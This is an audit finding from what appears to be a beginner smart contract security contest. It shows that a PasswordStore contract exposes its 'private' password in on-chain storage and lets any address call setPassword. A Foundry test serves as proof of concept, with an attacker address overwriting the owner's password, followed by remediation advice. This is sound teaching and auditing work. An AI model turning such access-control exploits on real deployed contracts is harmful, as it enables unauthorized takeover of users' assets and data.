First Flight #1: PasswordStore
First Flight #1
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Anyone can set and read the password

cosine

Summary

As it is possible to read the storage of contracts even in private variables, anyone is able to read the current password saved in this storage variable:

string private s_password;

Also, the transactions from the get and set function calls are public in a block explorer and can be used to read the password. Therefore, it does not make sense at all to save a password on chain.

Also, the setPassword function misses a check if the msg.sender equals the owner and therefore anyone is able to change the password.

Vulnerability Details

The following POC shows that anyone can change the password:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
​
import {Test, console} from "forge-std/Test.sol";
import {PasswordStore} from "../src/PasswordStore.sol";
import {DeployPasswordStore} from "../script/DeployPasswordStore.s.sol";
​
contract PasswordStoreTest is Test {
PasswordStore public passwordStore;
DeployPasswordStore public deployer;
address public owner;
address public attacker;
​
function setUp() public {
deployer = new DeployPasswordStore();
passwordStore = deployer.run();
owner = msg.sender;
attacker = address(1234);
}
​
function test_missing_owner_check() public {
// owner can set password
vm.startPrank(owner);
string memory expectedPassword1 = "myNewPassword";
passwordStore.setPassword(expectedPassword1);
string memory actualPassword1 = passwordStore.getPassword();
assertEq(actualPassword1, expectedPassword1);
vm.stopPrank();
​
// attacker can also set password
vm.startPrank(attacker);
string memory expectedPassword2 = "attackerPassword";
passwordStore.setPassword(expectedPassword2);
vm.stopPrank();
​
vm.startPrank(owner);
string memory actualPassword2 = passwordStore.getPassword();
assertEq(actualPassword2, expectedPassword2);
vm.stopPrank();
}
}

Impact

Anyone can see and change the password

Tools Used

Manual Review

Recommendations

Do not save passwords on chain, and restrict the setPassword function to be only callable by the owner. As this check will then appear in two functions, best practice would be to put it into a modifier.

Updates

Lead Judging Commences

inallhonesty Lead Judge
over 1 year ago
inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-lacking-access-control

Anyone can call `setPassword` and set a new password contrary to the intended purpose.

finding-anyone-can-read-storage

Private functions and state variables are only visible for the contract they are defined in and not in derived contracts. In this case private doesn't mean secret/confidential

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.